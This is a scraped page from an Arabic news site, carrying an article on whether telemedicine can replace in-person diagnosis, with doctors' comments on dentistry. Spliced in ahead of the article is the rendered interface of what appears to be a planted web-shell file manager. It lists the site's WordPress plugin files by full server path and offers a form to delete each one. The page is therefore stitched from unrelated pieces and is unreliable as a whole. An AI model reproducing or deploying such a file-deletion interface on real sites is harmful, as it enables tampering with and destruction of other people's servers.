                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-content%2Fplugins%2Fninja-forms%2Fassets%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-content%2Fplugins%2Fninja-forms%2Fassets%2Fcss%2FjBox.css"> jBox.css</a>
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            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-content/plugins/ninja-forms/assets/css/jBox.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
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              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-content%2Fplugins%2Fninja-forms%2Fassets%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-content%2Fplugins%2Fninja-forms%2Fassets%2Fcss%2Fmonokai-theme.css"> monokai-theme.css</a>
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                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-content/plugins/ninja-forms/assets/css/monokai-theme.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-content%2Fplugins%2Fninja-forms%2Fassets%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-content%2Fplugins%2Fninja-forms%2Fassets%2Fcss%2Fnf-form-block-style.css"> nf-form-block-style.css</a>
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                  <form action="" method="post" style="margin:0;">
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            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-content%2Fplugins%2Fninja-forms%2Fassets%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-content%2Fplugins%2Fninja-forms%2Fassets%2Fcss%2FnfOnboarding.css"> nfOnboarding.css</a>
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            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-content/plugins/ninja-forms/assets/css/nfOnboarding.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
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              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-content%2Fplugins%2Fninja-forms%2Fassets%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-content%2Fplugins%2Fninja-forms%2Fassets%2Fcss%2FNoticeBorder.css"> NoticeBorder.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-content/plugins/ninja-forms/assets/css/NoticeBorder.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-content%2Fplugins%2Fninja-forms%2Fassets%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-content%2Fplugins%2Fninja-forms%2Fassets%2Fcss%2Frating.css"> rating.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-content/plugins/ninja-forms/assets/css/rating.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-content%2Fplugins%2Fninja-forms%2Fassets%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-content%2Fplugins%2Fninja-forms%2Fassets%2Fcss%2Frequired-updates.css"> required-updates.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-content/plugins/ninja-forms/assets/css/required-updates.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
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              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-content%2Fplugins%2Fninja-forms%2Fassets%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-content%2Fplugins%2Fninja-forms%2Fassets%2Fcss%2Fsummernote.css"> summernote.css</a>
                  </span>
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            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-content/plugins/ninja-forms/assets/css/summernote.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-content%2Fplugins%2Fninja-forms%2Fassets%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-content%2Fplugins%2Fninja-forms%2Fassets%2Fcss%2FTooltipBorder.css"> TooltipBorder.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-content/plugins/ninja-forms/assets/css/TooltipBorder.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
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              </li>
      </ul>
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	<nav id="breadcrumb"><a href="https://tahkoom.com/"><span class="tie-icon-home" aria-hidden="true"></span> الرئيسية</a><em class="delimiter">/</em><a href="https://tahkoom.com/category/%d9%85%d8%b9%d8%b1%d9%81%d8%a9/">معرفة</a><em class="delimiter">/</em><span class="current">طبيبك في جيبك لكن هل يشعر بنبضك</span></nav><script type="application/ld+json">{"@context":"http:\/\/schema.org","@type":"BreadcrumbList","@id":"#Breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"item":{"name":"\u0627\u0644\u0631\u0626\u064a\u0633\u064a\u0629","@id":"https:\/\/tahkoom.com\/"}},{"@type":"ListItem","position":2,"item":{"name":"\u0645\u0639\u0631\u0641\u0629","@id":"https:\/\/tahkoom.com\/category\/%d9%85%d8%b9%d8%b1%d9%81%d8%a9\/"}}]}</script>
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			طبيبك في جيبك لكن هل يشعر بنبضك		</h1>

		<div class="single-post-meta post-meta clearfix"><span class="date meta-item tie-icon">مايو 18, 2025</span><div class="tie-alignright"><span class="meta-views meta-item hot"><span class="tie-icon-fire" aria-hidden="true"></span> 2٬572 </span><span class="meta-reading-time meta-item"><span class="tie-icon-bookmark" aria-hidden="true"></span> 2 دقائق</span> </div></div><!-- .post-meta -->	</div><!-- .entry-header /-->

	
	
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			<p><span style="color: #0000ff;"><span style="color: #000000;"><em><strong>كتبت شروق عارف</strong></em> </span>                                                                                                        <span style="color: #000000;">مع</span></span> التطور السريع للتكنولوجيا وتزايد اعتمدنا على الإنترنت في مختلف المجالات برز الطب عن بعد كأحد أهم التحولات في مجال الرعاية الصحية خصوصا بعد جائحة كورونا التي فرضت واقع جديد يحتم علينا العزلة مما دفعنا للبحث عن بدائل أمنة وفعالة للتشخيص والعلاج دون الحاجة لزيارة الطبيب ورغم ما يقدمه الطب عن بعد من من عدة حلول أهمها تقليل النفقات والحد من الازدحام ولكن مع هذا التطور بدأت تظهر تساؤلات مهمة أبرزهم هل يمكن الاعتماد عليه كبديل كامل للفحص التقليدي؟ وهل يضمن دقة التشخيص وكفاءة العلاج؟ أم أنه يظل أداة مساعدة مهمة لكنها لا تغني عن التواصل المباشر مع الطبيب في عيادته؟</p>
<p style="text-align: right;"><em><span style="color: #0000ff;"><strong>الطب عن بعد دعم مكمل لا بديل</strong></span></em><br />
‏ صرح أحد الأطباء بأن الطب عن بعد يمكن أن يكون فعالا جدا في بعض الحالات مثل متابعة الأمراض المزمنة أو إعطاء نصائح أولية لكنه لا يمكن أن يحل محل الفحص وتابع حديثه قائلا هناك تفاصيل لا يمكن معرفتها من خلال شاشة الهاتف مثل نبض القلب أو ملامح التعب أو بعض التغيرات وهذه أمور لا تظهر عبر الكاميرا كما وأوضح أن الطب عن بعد ساهم في تقليل الضغط على المستشفيات وساعد في تقليل العدوى لكنه لا يمكن أن يعتمد عليه بشكل أساسي<br />
<span style="color: #0000ff;"><em><strong>الأسنان لا تفحص عن بعد</strong></em></span><br />
من جانبه صرح أحد الأطباء  في جراحة الفم والأسنان أن الطب عن بعد لا يصلح في تخصص مثل الأسنان وذلك لاعتمادها الكبير على الفحص اليدوي والرؤية الدقيقة للحالة وأضاف كيف يمكنني أن اشخص التهاب في اللثة أو كسر في السن عبر شاشة هناك تفاصيل لا ترى إلا بالفحص المباشر سواء من خلال الأشعة أو أدوات الكشف الدقيقة وتابع قائلا الطب عن بعد قد يكون مفيد فقط في الاستشارة الأولية أو متابعة بعض الحالات البسيطة بعد العلاج لكن لا يمكن الاعتماد عليه في تشخيص أو وضع خطة علاجية دون معاينة فعلية</p>
<p>وأشار محذرا أن الطب عن بعد في مجال طب الأسنان قد يكون خطر وذلك لأن أي خطأ في التشخيص قد يؤدي إلى مضاعفات صحية للمريض موكدا أن التقنية تظل أداة مساعدة وليست بديلا عن الطبيب<br />
ومن جانبه يؤكد  أن التواصل المباشر بين الطبيب والمريض هو عنصر أساسي في طب الأسنان موضح أن بعض الأعراض قد لا تفهم بشكل دقيق إلا من خلال تفاعل مباشر وتابع حديثه قائلا حتى مع توفر صور أو مقاطع فيديو يظل هناك فارق كبير بين ما يرى عبر الشاشة وما يمكن للطبيب ملاحظته أثناء الكشف</p>
<p>ويبقى الطب عن بعد أداة فعالة في تحسين الوصول إلى ‏خدمات الرعاية الصحية لكنه في النهاية يظل وسيلة مساعدة لا تغني عن دور الطبيب والفحص المباشرة</p>

			
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